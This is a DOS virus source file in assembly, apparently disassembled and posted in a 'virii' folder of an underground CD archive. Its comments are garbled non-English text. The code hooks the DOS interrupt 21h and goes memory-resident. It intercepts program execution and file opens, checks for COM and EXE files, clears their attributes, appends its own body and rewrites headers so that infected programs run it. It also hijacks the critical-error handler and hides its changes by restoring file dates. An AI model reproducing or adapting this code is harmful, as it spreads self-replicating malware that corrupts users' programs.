home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / m / manvir.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  22.1 KB  |  529 lines

  1.  
  2.  
  3. PAGE  59,132
  4.  
  5.  
  6.  
  7. ;██████████████████████████████████████████████████████████████████████████
  8.  
  9. ;██                                                                      ██
  10.  
  11. ;██                             PROB                                     ██
  12.  
  13. ;██                                                                      ██
  14.  
  15. ;██      Created:   1-Jan-80                                             ██
  16.  
  17. ;██      Version:                                                        ██
  18.  
  19. ;██      Passes:    5          Analysis Options on: ABCDEFPX             ██
  20.  
  21. ;██                                                                      ██
  22.  
  23. ;██                                                                      ██
  24.  
  25. ;██████████████████████████████████████████████████████████████████████████
  26.  
  27.  
  28.  
  29. data_1e         equ     0                       ; (6B7E:0000=0)
  30.  
  31. data_2e         equ     2                       ; (6B7E:0002=0)
  32.  
  33. data_4e         equ     0F1h                    ; (6B7E:00F1=0)
  34.  
  35. data_17e        equ     499h                    ; (6C11:0499=0)
  36.  
  37. data_18e        equ     49Bh                    ; (6C11:049B=0)
  38.  
  39. data_19e        equ     49Dh                    ; (6C11:049D=0)
  40.  
  41. data_20e        equ     49Fh                    ; (6C11:049F=0)
  42.  
  43. data_21e        equ     4B8h                    ; (6C11:04B8=0)
  44.  
  45.  
  46.  
  47. ;-------------------------------------------------------------- seg_a  ----
  48.  
  49.  
  50.  
  51. seg_a           segment para public
  52.  
  53.                 assume cs:seg_a , ds:seg_a , ss:stack_seg_c
  54.  
  55.  
  56.  
  57.                 db      256 dup (0)
  58.  
  59.                 db      8Ch, 0C8h, 8Eh, 0D8h, 0BAh, 10h
  60.  
  61.                 db      1, 0B4h, 9, 0CDh, 21h, 0B8h
  62.  
  63.                 db      0, 4Ch, 0CDh
  64.  
  65.                 db      '!This is a test', 0Ah, 0Dh, '$'
  66.  
  67.                 db      1807 dup (0)
  68.  
  69.  
  70.  
  71. seg_a           ends
  72.  
  73.  
  74.  
  75.  
  76.  
  77.  
  78.  
  79. ;-------------------------------------------------------------- seg_b  ----
  80.  
  81.  
  82.  
  83. seg_b           segment para public
  84.  
  85.                 assume cs:seg_b , ds:seg_b , ss:stack_seg_c
  86.  
  87.  
  88.  
  89.                 db      241 dup (0)
  90.  
  91.                 db      4Fh, 4Dh
  92.  
  93.                 db      9 dup (20h)
  94.  
  95.                 db      0, 0, 0, 0
  96.  
  97.  
  98.  
  99. ;██████████████████████████████████████████████████████████████████████████
  100.  
  101. ;
  102.  
  103. ;                       Program Entry Point
  104.  
  105. ;
  106.  
  107. ;██████████████████████████████████████████████████████████████████████████
  108.  
  109.  
  110.  
  111.  
  112.  
  113. prob            proc    far
  114.  
  115.  
  116.  
  117. start:
  118.  
  119.                 jmp     short loc_3             ; (0137)
  120.  
  121. data_10         dw      5A4Dh
  122.  
  123.                 db      21h, 1, 6, 0, 0, 0
  124.  
  125.                 db      20h, 0, 0, 0, 0FFh, 0FFh
  126.  
  127. data_11         dw      0
  128.  
  129. data_12         dw      0
  130.  
  131.                 db      0BBh, 0DDh
  132.  
  133. data_13         dd      00100h
  134.  
  135.                 db      'COMMAND.COM'
  136.  
  137.                 db      0
  138.  
  139.  
  140.  
  141. prob            endp
  142.  
  143.  
  144.  
  145. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  146.  
  147. ;                              SUBROUTINE
  148.  
  149. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  150.  
  151.  
  152.  
  153. sub_1           proc    near                    ; Å░«óÑ░┐óá ñ὿ Ñ EXE
  154.  
  155.                 cmp     cs:data_10,4D5Ah        ; (6C11:0102=5A4Dh)
  156.  
  157.                 je      loc_ret_2               ; Jump if equal
  158.  
  159.                 cmp     cs:data_10,5A4Dh        ; (6C11:0102=5A4Dh)
  160.  
  161.  
  162.  
  163. loc_ret_2:
  164.  
  165.                 retn
  166.  
  167. sub_1           endp
  168.  
  169.  
  170.  
  171. loc_3:
  172.  
  173.                 mov     cs:data_19e,ds          ; (6C11:049D=0)
  174.  
  175.                 push    ax
  176.  
  177.                 mov     ax,0EC59h               ; Å░«óÑ░┐óá ñ὿ Ñ ¿¡▒▓὿░á¡
  178.  
  179.                 int     21h                     ; DOS Services  ah=function ECh
  180.  
  181.                 cmp     bp,ax                   ; Ç¬« AX<>BP ¡Ñ Ñ ¿¡▒▓὿░á¡
  182.  
  183.                 jne     loc_6
  184.  
  185.                 push    cs
  186.  
  187.                 pop     ds
  188.  
  189. loc_4:
  190.  
  191.                 pop     ax
  192.  
  193.                 mov     es,cs:data_19e          ; (6C11:049D=0)
  194.  
  195.                 call    sub_1                   ; (COM/EXE)?
  196.  
  197.                 jz      loc_5                   ; Jump if zero
  198.  
  199.                 mov     cx,0Dh                  ; é║º▒▓á¡«ó┐óá COM
  200.  
  201.                 mov     si,102h
  202.  
  203.                 push    es
  204.  
  205.                 mov     di,100h
  206.  
  207.                 push    di                      ; Å░ѼÑ▒▓óá »║░ó¿▓Ñ 13 íá⌐▓á
  208.  
  209.                 rep     movsb                   ; Rep when cx >0 Mov [si] to es:[di]
  210.  
  211.                 push    es
  212.  
  213.                 pop     ds                      ; Å░Ñ╡«ñ ¬║¼ »░«ú░á¼á▓á
  214.  
  215.                 retf                            ; Return far
  216.  
  217. loc_5:
  218.  
  219.                 mov     si,es                   ; é║º▒▓á¡«ó┐óá EXE
  220.  
  221.                 add     si,10h
  222.  
  223.                 add     word ptr cs:data_13+2,si; Æ«óá Ñ «▓¼Ñ▒▓óá¡Ñ▓« ¡á CS
  224.  
  225.                 add     si,cs:data_11           ; Æ«óá Ñ «▓¼Ñ▒▓óá¡Ñ▓« ¡á SS
  226.  
  227.                 mov     di,cs:data_12           ; Æ«óá Ñ «▓¼Ñ▒▓óá¡Ñ▓« ¡á SP
  228.  
  229.                 push    es
  230.  
  231.                 pop     ds
  232.  
  233.                 cli                             ; Disable interrupts
  234.  
  235.                 mov     ss,si
  236.  
  237.                 mov     sp,di
  238.  
  239.                 sti                             ; Enable interrupts
  240.  
  241.                 jmp     cs:data_13              ; Å░Ñ╡«ñ ¬║¼ »░«ú░á¼á▓á
  242.  
  243. loc_6:
  244.  
  245.                 mov     ax,3521h
  246.  
  247.                 int     21h                     ; DOS Services  ah=function 35h
  248.  
  249.                                                 ;  get intrpt vector al in es:bx
  250.  
  251.                 mov     dx,bx
  252.  
  253.                 push    es
  254.  
  255.                 pop     ds
  256.  
  257.                 mov     ax,25ECh                ; Å░ѼÑ▒▓óá INT 21H ¡á INT ECH
  258.  
  259.                 int     21h                     ; DOS Services  ah=function 25h
  260.  
  261.                                                 ;  set intrpt vector al to ds:dx
  262.  
  263.                 mov     ax,cs:data_19e          ; (6C11:049D=0)
  264.  
  265.                 mov     es,ax
  266.  
  267.                 dec     ax
  268.  
  269.                 mov     ds,ax
  270.  
  271.                 mov     bx,word ptr ds:data_2e+1        ; (6B7E:0003=0)
  272.  
  273.                 sub     bx,65h
  274.  
  275.                 add     ax,bx
  276.  
  277.                 mov     es:data_2e,ax           ; (6B7E:0002=0)
  278.  
  279.                 mov     ah,4Ah                  ; 'J'
  280.  
  281.                 int     0ECh
  282.  
  283.                 mov     bx,64h
  284.  
  285.                 mov     ah,48h                  ; 'H'
  286.  
  287.                 int     0ECh
  288.  
  289.                 sub     ax,10h
  290.  
  291.                 mov     es,ax
  292.  
  293.                 mov     byte ptr ds:data_1e,5Ah ; (6B7E:0000=0) 'Z'
  294.  
  295.                 push    cs
  296.  
  297.                 pop     ds
  298.  
  299.                 mov     si,100h
  300.  
  301.                 mov     di,si
  302.  
  303.                 mov     cx,39Fh
  304.  
  305.                 nop                             ; Å░ѼÑ▒▓óá ▒Ñ ó║ó ó¿▒«¬¿▓Ñ áñ░Ñ▒¿
  306.  
  307.                 rep     movsb                   ; Rep when cx >0 Mov [si] to es:[di]
  308.  
  309.                 mov     di,1D0h
  310.  
  311.                 push    es
  312.  
  313.                 push    di
  314.  
  315.                 retf                            ; Return far
  316.  
  317.                 mov     word ptr es:data_4e,70h ; (6B7E:00F1=0)
  318.  
  319.                 mov     ax,3521h  ;(??) Æáº¿ ¿¡▒▓░│¬╢¿┐ ¼«ªÑ ñá ▒Ñ «»▓¿¼¿º¿░á
  320.  
  321.                 int     0ECh
  322.  
  323.                 mov     cs:data_15,bx           ; (6C11:0216=12E4h)
  324.  
  325.                 mov     cs:data_16,es           ; (6C11:0218=12Eh)
  326.  
  327.                 mov     ah,25h                  ; '%'
  328.  
  329.                 mov     dx,201h
  330.  
  331.                 push    cs
  332.  
  333.                 pop     ds
  334.  
  335.                 int     0ECh                    ; Å░Ñ╡óá╣á óѬ▓«░á ¡á INT 21H
  336.  
  337.                 push    cs
  338.  
  339.                 pop     es
  340.  
  341.                 mov     di,49Fh
  342.  
  343.                 mov     cx,19h
  344.  
  345.                 mov     al,0                    ; ì│½¿░á 19h íá⌐▓á ▒½Ññ ¬░á┐
  346.  
  347.                 rep     stosb                   ; Rep when cx >0 Store al to es:[di]
  348.  
  349.                 jmp     loc_4                   ; é║º▒▓á¡«ó┐óá »░«ú░á¼á▓á
  350.  
  351. loc_7:
  352.  
  353.                 mov     bp,ax                   ; Æ«óá Ñ ┤│¡¬╢¿┐ ECH
  354.  
  355.                 iret                            ; Interrupt return
  356.  
  357.                 cmp     ax,0EC59h               ; éòÄäìÇ ÆÄùèÇ ìÇ INT 21H
  358.  
  359.                 je      loc_7                   ; Jump if equal
  360.  
  361.                 cmp     ax,4B00h
  362.  
  363.                 je      loc_9                   ; Jump if equal
  364.  
  365.                 cmp     ah,3Dh                  ; '='
  366.  
  367.                 je      loc_11                  ; Jump if equal
  368.  
  369.                 cmp     ah,3Eh                  ; '>'
  370.  
  371.                 je      loc_13                  ; Jump if equal
  372.  
  373. loc_8:
  374.  
  375.                 jmp     far ptr loc_1           ;*(012E:12E4)
  376.  
  377. loc_9:
  378.  
  379.                 call    sub_2                   ; (028B)
  380.  
  381.                 jmp     short loc_8             ; (0215)
  382.  
  383. loc_10:
  384.  
  385.                 pop     cx
  386.  
  387.                 jmp     short loc_8             ; (0215)
  388.  
  389. loc_11:
  390.  
  391.                 push    cx
  392.  
  393.                 call    sub_6                   ; (040E)
  394.  
  395.                 jc      loc_10                  ; Jump if carry Set
  396.  
  397.                 cmp     cx,20h
  398.  
  399.                 pop     cx
  400.  
  401.                 jnz     loc_8                   ; Jump if not zero
  402.  
  403.                 mov     al,2
  404.  
  405.                 pushf                           ; Push flags
  406.  
  407.                 call    dword ptr cs:[216h]     ; (6C11:0216=12E4h)
  408.  
  409.                 jc      loc_ret_12              ; Jump if carry Set
  410.  
  411.                 push    ax
  412.  
  413.                 push    bx
  414.  
  415.                 mov     bx,ax
  416.  
  417.                 mov     al,cs:data_21e          ; (6C11:04B8=0)
  418.  
  419.                 mov     cs:data_20e[bx],al      ; (6C11:049F=0)
  420.  
  421.                 pop     bx
  422.  
  423.                 pop     ax
  424.  
  425.  
  426.  
  427. loc_ret_12:
  428.  
  429.                 retf    2                       ; Return far
  430.  
  431. loc_13:
  432.  
  433.                 cmp     byte ptr cs:data_20e[bx],0      ; (6C11:049F=0)
  434.  
  435.                 je      loc_8                   ; Jump if equal
  436.  
  437.                 push    ax
  438.  
  439.                 mov     al,cs:data_20e[bx]      ; (6C11:049F=0)
  440.  
  441.                 mov     cs:data_21e,al          ; (6C11:04B8=0)
  442.  
  443.                 mov     byte ptr cs:data_20e[bx],0      ; (6C11:049F=0)
  444.  
  445.                 mov     ah,45h                  ; 'E'
  446.  
  447.                 int     0ECh
  448.  
  449.                 mov     cs:data_19e,ax          ; (6C11:049D=0)
  450.  
  451.                 pop     ax
  452.  
  453.                 jc      loc_8                   ; Jump if carry Set
  454.  
  455.                 pushf                           ; Push flags
  456.  
  457.                 call    dword ptr cs:[216h]     ; (6C11:0216=12E4h)
  458.  
  459.                 jc      loc_ret_12              ; Jump if carry Set
  460.  
  461.                 push    bx
  462.  
  463.                 mov     bx,cs:data_19e          ; (6C11:049D=0)
  464.  
  465.                 push    ds
  466.  
  467.                 call    sub_3                   ; (02BB)
  468.  
  469.                 call    sub_4                   ; (02DC)
  470.  
  471.                 call    sub_5                   ; (03FA)
  472.  
  473.                 pop     ds
  474.  
  475.                 pop     bx
  476.  
  477.                 clc                             ; Clear carry flag
  478.  
  479.                 retf    2                       ; Return far
  480.  
  481.  
  482.  
  483. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  484.  
  485. ;                              SUBROUTINE
  486.  
  487. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  488.  
  489.  
  490.  
  491. sub_2           proc    near
  492.  
  493.                 push    ax
  494.  
  495.                 push    bx
  496.  
  497.                 push    cx
  498.  
  499.                 call    sub_6                   ; (040E)
  500.  
  501.                 jc      loc_16                  ; Ç¬« ¡Ñ Ñ ¿º»║½¡¿¼ ¿º╡«ñ
  502.  
  503.                 push    cx
  504.  
  505.                 push    ds
  506.  
  507.                 call    sub_3                   ; Å░Ñ¡á▒«╖óá INT 24H
  508.  
  509.                 pop     ds
  510.  
  511.                 mov     ax,4301h
  512.  
  513.                 xor     cx,cx                   ; Zero register
  514.  
  515.                 int     0ECh                    ; Å░«¼Ñ¡┐ á▓░¿í│▓¿▓Ñ
  516.  
  517.                 jc      loc_14                  ; Jump if carry Set
  518.  
  519.                 mov     ax,3D02h                ; Ä▓óá░┐ ú« ºá ╖Ñ▓Ñ¡Ñ
  520.  
  521.                 int     0ECh
  522.  
  523.                 mov     bx,ax
  524.  
  525. loc_14:
  526.  
  527.                 pop     cx
  528.  
  529.                 jc      loc_15                  ; Ç¬« ¿¼á ú░Ñ╕¬á ¿º╡«ñ
  530.  
  531.                 call    sub_4                   ; (02DC)
  532.  
  533.                 mov     ax,4301h
  534.  
  535.                 int     0ECh
  536.  
  537. loc_15:
  538.  
  539.                 call    sub_5                   ; (03FA)
  540.  
  541. loc_16:
  542.  
  543.                 pop     cx
  544.  
  545.                 pop     bx
  546.  
  547.                 pop     ax
  548.  
  549.                 retn
  550.  
  551. sub_2           endp
  552.  
  553.  
  554.  
  555.  
  556.  
  557. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  558.  
  559. ;                              SUBROUTINE
  560.  
  561. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  562.  
  563.  
  564.  
  565. sub_3           proc    near                   ; Å░Ñ¡á▒«╖óá INT 24H
  566.  
  567.                 push    ax
  568.  
  569.                 push    dx
  570.  
  571.                 push    bx
  572.  
  573.                 push    es
  574.  
  575.                 mov     ax,3524h
  576.  
  577.                 int     0ECh
  578.  
  579.                 mov     cs:data_17e,bx          ; (6C11:0499=0)
  580.  
  581.                 mov     cs:data_18e,es          ; (6C11:049B=0)
  582.  
  583.                 pop     es
  584.  
  585.                 pop     bx
  586.  
  587.                 push    cs
  588.  
  589.                 pop     ds
  590.  
  591.                 mov     dx,469h
  592.  
  593.                 mov     ah,25h
  594.  
  595.                 int     0ECh                     ; Å░Ñ¡á▒«╖óá INT 24H
  596.  
  597.                 pop     dx
  598.  
  599.                 pop     ax
  600.  
  601.                 retn
  602.  
  603. sub_3           endp
  604.  
  605.  
  606.  
  607.  
  608.  
  609. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  610.  
  611. ;                              SUBROUTINE
  612.  
  613. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  614.  
  615.  
  616.  
  617. sub_4           proc    near
  618.  
  619.                 push    ax
  620.  
  621.                 push    cx
  622.  
  623.                 push    dx
  624.  
  625.                 push    si
  626.  
  627.                 push    di
  628.  
  629.                 push    ds
  630.  
  631.                 mov     di,102h
  632.  
  633.                 mov     cx,0FFFFh
  634.  
  635.                 mov     dx,0FFFAh
  636.  
  637.                 mov     ax,4202h
  638.  
  639.                 int     0ECh                  ; Å░ѼÑ▒▓óá │¬áºá▓ѽ┐ ó ¬░á┐
  640.  
  641.                 mov     ah,3Fh                ; '?'
  642.  
  643.                 mov     cx,6
  644.  
  645.                 push    cs
  646.  
  647.                 pop     ds
  648.  
  649.                 mov     dx,di
  650.  
  651.                 int     0ECh                    ; ùÑ▓Ñ 6 íá⌐▓á
  652.  
  653.                 jc      loc_17                  ; Jump if carry Set
  654.  
  655.                 cmp     word ptr cs:[di],4E41h  ; Å░«óÑ░┐óá ñ὿ Ñ ºá░áºÑ¡
  656.  
  657.                 je      loc_17                  ; Jump if equal
  658.  
  659.                 xor     cx,cx
  660.  
  661.                 xor     dx,dx
  662.  
  663.                 mov     ax,4200h
  664.  
  665.                 int     0ECh                    ; Å░ѼÑ▒▓óá FP ó ¡á╖Ὣ▓«
  666.  
  667.                 mov     ah,3Fh                  ; Å«¼Ñ▒▓Ñóá »║░ó¿▓Ñ 18h íá⌐▓á
  668.  
  669.                 mov     cx,18h                  ; «▓ CS:100
  670.  
  671.                 mov     dx,di
  672.  
  673.                 int     0ECh                    ; ùÑ▓Ñ »║░ó¿▓Ñ 18h íá⌐▓á
  674.  
  675.                 jnc     loc_18                  ; Jump if carry=0
  676.  
  677. loc_17:
  678.  
  679.                 jmp     loc_27                  ; (03E6)
  680.  
  681. loc_18:
  682.  
  683.                 xor     cx,cx                   ; Zero register
  684.  
  685.                 xor     dx,dx                   ; Zero register
  686.  
  687.                 cmp     byte ptr cs:data_21e,2  ; (6C11:04B8=0)
  688.  
  689.                 jne     loc_19                  ; Jump if not equal
  690.  
  691.                 cmp     word ptr [di+1],4000h
  692.  
  693.                 ja      loc_17                  ; Jump if above
  694.  
  695.                 dec     cx
  696.  
  697.                 mov     dx,0C0h
  698.  
  699.                 sub     dx,499h
  700.  
  701. loc_19:
  702.  
  703.                 mov     ax,4202h                ; Å░ѼÑ▒▓óá FP ó ¬░á┐ ¡á ┤´á
  704.  
  705. loc_20:
  706.  
  707.                 int     0ECh
  708.  
  709.                 test    ax,0Fh
  710.  
  711.                 jz      loc_21                  ; Jump if zero
  712.  
  713.                 mov     cx,dx                   ; çá¬░║ú½┐ ñ« 16
  714.  
  715.                 mov     dx,ax
  716.  
  717.                 add     dx,10h
  718.  
  719.                 adc     cx,0
  720.  
  721.                 and     dl,0F0h
  722.  
  723.                 mov     ax,4200h                ; Å░ѼÑ▒▓óá ¡á ºá¬░║ú½Ñ¡¿┐
  724.  
  725.                 jmp     short loc_20            ; (0339)
  726.  
  727. loc_21:
  728.  
  729.                 call    sub_1                   ; (0126)
  730.  
  731.                 jz      loc_23                  ; ö´║▓ Ñ EXE
  732.  
  733.                 or      dx,dx                   ; Zero ?
  734.  
  735.                 jnz     loc_17                  ; Jump if not zero
  736.  
  737.                 cmp     ax,400h
  738.  
  739.                 jae     loc_22                  ; Jump if above or =
  740.  
  741.                 jmp     loc_27                  ; (03E6)
  742.  
  743. loc_22:
  744.  
  745.                 cmp     ax,0FA00h
  746.  
  747.                 ja      loc_27                  ; Jump if above
  748.  
  749. loc_23:
  750.  
  751.                 mov     cl,4
  752.  
  753.                 shr     ax,cl                   ; Shift w/zeros fill
  754.  
  755.                 mov     si,ax
  756.  
  757.                 mov     cl,0Ch
  758.  
  759.                 shl     dx,cl                   ; Shift w/zeros fill
  760.  
  761.                 add     si,dx                 ; Å«½│╖áóá ñ║½ª¿¡á▓á ó »á░áú░á┤¿
  762.  
  763.                 mov     ah,40h                ; çỿ▒óá 399h íá⌐▓á
  764.  
  765.                 mov     dx,100h
  766.  
  767.                 mov     cx,399h
  768.  
  769.                 nop
  770.  
  771.                 int     0ECh
  772.  
  773.                 jc      loc_27                  ; Jump if carry Set
  774.  
  775.                 call    sub_1
  776.  
  777.                 jnz     loc_25                  ; Jump if not zero
  778.  
  779.                 sub     si,10h
  780.  
  781.                 sub     si,cs:[di+8]              ; è«░¿ú¿░á »░Ñ┤¿¬▒á
  782.  
  783.                 mov     word ptr cs:[di+14h],100h
  784.  
  785.                 mov     cs:[di+16h],si
  786.  
  787.                 mov     word ptr cs:[di+10h],400h
  788.  
  789.                 add     si,44h
  790.  
  791.                 nop
  792.  
  793.                 mov     cs:[di+0Eh],si
  794.  
  795.                 mov     ax,4202h
  796.  
  797.                 xor     cx,cx                   ; Zero register
  798.  
  799.                 xor     dx,dx                   ; Zero register
  800.  
  801.                 int     0ECh                    ; éºÑ¼á ñ║½ª¿¡á▓á
  802.  
  803.                 mov     cx,200h
  804.  
  805.                 div     cx                      ; ax,dx rem=dx:ax/reg
  806.  
  807.                 or      dx,dx                   ; Zero ?
  808.  
  809.                 jz      loc_24                  ; Jump if zero
  810.  
  811.                 inc     ax
  812.  
  813. loc_24:
  814.  
  815.                 mov     cs:[di+2],dx            ;Å░«¼Ñ¡┐ ñ║½ª¿¡á▓á ó »░Ñ┤¿¬▒á
  816.  
  817.                 mov     cs:[di+4],ax
  818.  
  819.                 jmp     short loc_26            ; (03D4)
  820.  
  821. loc_25:
  822.  
  823.                 push    si
  824.  
  825.                 push    di
  826.  
  827.                 push    es
  828.  
  829.                 push    cs
  830.  
  831.                 pop     es
  832.  
  833.                 mov     si,46Ch
  834.  
  835.                 mov     cx,0Bh
  836.  
  837.                 rep     movsb                   ; Rep when cx >0 Mov [si] to es:[di]
  838.  
  839.                 pop     es
  840.  
  841.                 pop     di
  842.  
  843.                 pop     word ptr [di+0Bh]
  844.  
  845. loc_26:
  846.  
  847.                 mov     ax,4200h                ; Å░ѼÑ▒▓óá FP ó ¡á╖Ὣ▓«
  848.  
  849.                 xor     cx,cx                   ; Zero register
  850.  
  851.                 xor     dx,dx                   ; Zero register
  852.  
  853.                 int     0ECh
  854.  
  855.                 mov     ah,40h                  ; çỿ▒óá »║░ó¿▓Ñ 16h íá⌐▓á
  856.  
  857.                 mov     cx,18h
  858.  
  859.                 mov     dx,di
  860.  
  861.                 int     0ECh
  862.  
  863. loc_27:                                         ; éºÑ¼á ñá▓á▓á ¼│ ¿ ┐ ºá»¿▒óá
  864.  
  865.                 mov     ax,5700h
  866.  
  867.                 int     0ECh
  868.  
  869.                 mov     al,1
  870.  
  871.                 int     0ECh
  872.  
  873.                 mov     ah,3Eh                  ; çá▓óá░┐ ┤´á
  874.  
  875.                 int     0ECh
  876.  
  877.                 pop     ds
  878.  
  879.                 pop     di
  880.  
  881.                 pop     si
  882.  
  883.                 pop     dx
  884.  
  885.                 pop     cx
  886.  
  887.                 pop     ax
  888.  
  889.                 retn
  890.  
  891. sub_4           endp
  892.  
  893.  
  894.  
  895.  
  896.  
  897. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  898.  
  899. ;                              SUBROUTINE
  900.  
  901. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  902.  
  903.  
  904.  
  905. sub_5           proc    near                    ; é║º▒▓á¡«ó┐óá INT 24H
  906.  
  907.                 push    ax
  908.  
  909.                 push    dx
  910.  
  911.                 push    ds
  912.  
  913.                 mov     ax,2524h
  914.  
  915.                 mov     dx,cs:data_17e          ; (6C11:0499=0)
  916.  
  917.                 mov     ds,cs:data_18e          ; (6C11:049B=0)
  918.  
  919.                 pop     ds
  920.  
  921.                 pop     dx
  922.  
  923.                 pop     ax
  924.  
  925.                 retn
  926.  
  927. sub_5           endp
  928.  
  929.  
  930.  
  931.  
  932.  
  933. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  934.  
  935. ;                              SUBROUTINE
  936.  
  937. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  938.  
  939.  
  940.  
  941. sub_6           proc    near                   ; çá»áºóá ░Ñú¿▒▓░¿▓Ñ
  942.  
  943.                 push    ax
  944.  
  945.                 push    es
  946.  
  947.                 push    di
  948.  
  949.                 push    bx
  950.  
  951.                 mov     di,dx
  952.  
  953.                 push    ds
  954.  
  955.                 pop     es
  956.  
  957.                 mov     al,0
  958.  
  959.                 mov     cx,40h                  ; Æ║░▒¿ ¬░á┐▓ ¡á ¿¼Ñ▓« ¡á ┤´á
  960.  
  961.                 repne   scasb                   ; Rep zf=0+cx >0 Scan es:[di] for al
  962.  
  963.                 mov     ax,[di-3]
  964.  
  965.                 mov     cx,[di-5]
  966.  
  967.                 and     ax,5F5Fh
  968.  
  969.                 and     ch,5Fh
  970.  
  971.                 cmp     ax,4D4Fh                ;(COM)?
  972.  
  973.                 jne     loc_29
  974.  
  975.                 cmp     cx,432Eh
  976.  
  977.                 je      $+10h                   ; Jump if equal
  978.  
  979. loc_28:
  980.  
  981.                 stc                             ; Set carry flag
  982.  
  983.                 jmp     short $+2Fh
  984.  
  985. loc_29:
  986.  
  987.                 cmp     ax,4558h
  988.  
  989.                 jne     loc_28                  ; Jump if not equal
  990.  
  991.                 cmp     cx,452Eh
  992.  
  993. sub_6           endp
  994.  
  995.  
  996.  
  997.  
  998.  
  999. seg_b           ends
  1000.  
  1001.  
  1002.  
  1003.  
  1004.  
  1005.  
  1006.  
  1007. ;--------------------------------------------------------- stack_seg_c  ---
  1008.  
  1009.  
  1010.  
  1011. stack_seg_c     segment para stack
  1012.  
  1013.  
  1014.  
  1015.                 db      75h, 0F2h, 0B9h, 7, 0, 0BBh
  1016.  
  1017.                 db      0FFh, 0FFh, 43h, 8Ah, 41h, 0F4h
  1018.  
  1019.                 db      24h, 5Fh, 2Eh, 3Ah, 87h, 1Ah
  1020.  
  1021.                 db      1, 0E1h, 0F3h, 0B0h, 1, 75h
  1022.  
  1023.                 db      2, 0B0h, 2, 2Eh, 0A2h, 0B8h
  1024.  
  1025.                 db      4, 0B8h, 0, 43h, 0CDh, 0ECh
  1026.  
  1027.                 db      5Bh, 5Fh, 7, 58h, 0C3h, 0B0h
  1028.  
  1029.                 db      3, 0CFh, 50h, 8Ch, 0C8h, 1
  1030.  
  1031.                 db      6, 0Bh, 1, 58h, 0EAh, 0
  1032.  
  1033.                 db      1
  1034.  
  1035.                 db      ' Dark Lord, I summon thee!'
  1036.  
  1037.                 db      0
  1038.  
  1039.                 db      4Dh, 41h, 4Eh, 4Fh, 57h, 41h
  1040.  
  1041.                 db      52h
  1042.  
  1043.                 db      935 dup (0)
  1044.  
  1045.  
  1046.  
  1047. stack_seg_c     ends
  1048.  
  1049.  
  1050.  
  1051.  
  1052.  
  1053.  
  1054.  
  1055.                 end     start
  1056.  
  1057.